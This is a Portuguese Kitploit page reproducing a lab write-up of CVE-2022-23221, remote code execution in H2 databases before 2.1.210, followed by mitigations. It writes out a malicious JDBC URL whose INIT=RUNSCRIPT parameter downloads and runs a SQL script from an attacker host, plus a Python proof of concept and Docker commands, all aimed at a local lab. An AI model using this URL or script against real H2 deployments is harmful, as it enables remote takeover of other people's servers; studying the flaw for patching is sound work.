Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Ferramentas/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Ver Repositório
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

H2 Database RCE (CVE-2022-23221)


  • whs4_1반_고늘상(@straightSang)

1. Resumo

  • Referência: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • O H2 é um sistema de gerenciamento de banco de dados relacional que oferece a capacidade de compilar e executar código Java diretamente dentro do mecanismo SQL.

  • O driver H2 analisa a URL JDBC para estabelecer a conexão entre o aplicativo e o banco de dados. Nesse processo, os parâmetros de configuração contidos na URL podem controlar o estado inicial ou o comportamento do banco de dados.

  • As versões problemáticas do H2 anteriores à 2.1.210 apresentam a falha de permitir a execução de scripts SQL remotos por meio do parâmetro INIT da URL JDBC. Ao explorar isso, um atacante pode injetar remotamente um script SQL malicioso e, por meio de sua sintaxe, executar comandos do sistema, o que desencadeia a vulnerabilidade CVE-2022-23221.

  • As características desta vulnerabilidade são as seguintes:

    1. Autenticação não necessária: qualquer pessoa com permissão para inserir uma URL JDBC pode usar esta vulnerabilidade para assumir o controle do sistema.
    2. Execução automática na inicialização do serviço: se o atacante modificar apenas o arquivo de configuração, a RCE (execução remota de código) ocorre automaticamente quando o serviço que usa o H2 é iniciado.
    3. Ocultação: é difícil para os desenvolvedores perceberem o ataque.
    4. Ampla área de impacto: devido à rapidez e leveza do H2, ele é usado para desenvolvimento/teste de vários serviços web. Como qualquer ambiente que permita definir a URL JDBC por meio de arquivo de configuração ou de entrada do usuário pode ser alvo de ataques usando esta vulnerabilidade, o impacto é grande.

Escopo de impacto da vulnerabilidade

  • Versões afetadas: anteriores ao H2 2.1.210
  • Versão corrigida: H2 2.1.210 ou superior

2. Condições da vulnerabilidade

  • O H2 deve ser anterior à versão 2.1.210.
  • A URL JDBC deve conter IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> bypass das configurações de segurança
      • A presença desses parâmetros desativa as configurações de segurança, fazendo com que o comando de execução de script remoto não seja bloqueado durante a inicialização e seja executado normalmente.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL executado automaticamente quando a conexão entre o aplicativo e o banco de dados é estabelecida
      • Se o valor do parâmetro INIT incluir o comando SQL RUNSCRIPT e o endereço do script malicioso, o H2 se conectará ao servidor, baixará o arquivo e o executará quando a conexão entre o aplicativo e o banco de dados H2 for estabelecida.
  • O script SQL baixado deve conter a instrução SQL CREATE ALIAS.
    • A instrução CREATE ALIAS dentro do script executado remotamente faz com que o H2 execute as funções Java do script dentro do banco de dados, resultando em RCE.




3. Configuração do ambiente

  • Cenário

    • Configura-se um ambiente H2 vulnerável e insere-se uma URL JDBC maliciosa no H2. O H2 analisa essa URL sem validação adequada e baixa/executa o arquivo SQL do servidor attacker. Se no log do servidor h2-vulnerable forem exibidos a string “EXPLOITED” e os resultados dos comandos id, whoami e pwd, isso significa que o ambiente H2 vulnerável foi configurado e que o arquivo exploit.sql foi baixado e executado remotamente a partir do servidor attacker durante o processo de análise da URL JDBC maliciosa.
  • Configuração do ambiente

    root@kitploit:~
    docker compose up -d 
    

    docker ps

    • A execução do comando inicia os seguintes ambientes:
    • h2-vulnerable: H2 2.0.206 (versão vulnerável anterior ao patch)
      • H2 Web Console: http://your-ip:8082
      • Servidor TCP: tcp://your-ip:9092
    • attacker: servidor HTTP
      • http://your-ip:8000 : fornece o arquivo exploit.sql
  • Após a configuração, acesse http://your-ip:8082 para ver a página web do H2.




4. Procedimento de reprodução

: Como o console web aplica políticas de segurança que podem filtrar os parâmetros que são condições da vulnerabilidade, insere-se diretamente a URL JDBC com parâmetros maliciosos via CLI para reproduzir a vulnerabilidade e verificar o resultado.

[Caso de solicitação normal]

  • URL JDBC normal: "jdbc:h2:mem:test"

  • Comando de solicitação normal

    root@kitploit:~
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Resultado da execução CLI 기반 실행

    • Nenhuma requisição recebida no servidor attacker
    • Nenhum log relevante exibido no servidor h2-vulnerable

[Caso de ataque à vulnerabilidade]

  • URL JDBC maliciosa: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Execução do ataque

  • Insira a URL JDBC maliciosa no driver H2 para tentar a conexão com o servidor attacker. Há duas maneiras de inserir a URL:

    1. Inserir diretamente a URL JDBC maliciosa no H2 Shell por meio da CLI.
    root@kitploit:~
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    CLI 기반 실행

    1. Executar o arquivo PoC.
    root@kitploit:~
    python3 poc.py
    

    poc.py 실행

2. Solicitação e execução do arquivo

  • O H2 solicita (HTTP GET) o arquivo exploit.sql ao servidor attacker, conforme INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado no parâmetro INIT da URL JDBC, e o executa dentro do banco de dados H2.

    1. Execute docker logs attacker para ver os logs das solicitações do arquivo exploit.sql recebidas do servidor h2-vulnerable.
    root@kitploit:~
    docker logs attacker
    

    1. O servidor attacker retorna o arquivo exploit.sql solicitado, e o servidor h2-vulnerable executa o arquivo recebido. Nesse momento, a instrução CREATE ALIAS dentro do script induz a execução de código Java, resultando em RCE.


5. Código do poc.py

root@kitploit:~
#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. Resultado da execução

  • Como resultado da execução do arquivo exploit.sql, os logs do servidor h2-vulnerable exibem a string “EXPLOITED” juntamente com os resultados dos comandos id, whoami e pwd.

  • É possível verificar os logs com docker logs h2-vulnerable.

    root@kitploit:~
    docker logs h2-vulnerable`
    

    실행결과 확인

=> Isso significa que o ambiente h2 vulnerável foi configurado e que o download remoto e a execução do arquivo foram bem-sucedidos durante o processo de análise da URL JDBC maliciosa pelo H2.


7. Medidas de mitigação

  • Atualizar para H2 2.1.210 ou versões superiores
    • Conteúdo do patch: restrição da execução de scripts externos pelo parâmetro INIT
    • Data de lançamento: 2022-05-15
  • Reforçar a validação de entrada da URL JDBC: bloquear entradas que contenham parâmetros como INIT e RUNSCRIPT que causam execução remota de código e validar a URL JDBC com base em uma lista de permissões (whitelist).
  • Monitoramento da integridade de configurações e do ambiente: ao alterar arquivos de configuração, verificar se houve adulteração e então seguir para aprovação do administrador.
Baixar ferramenta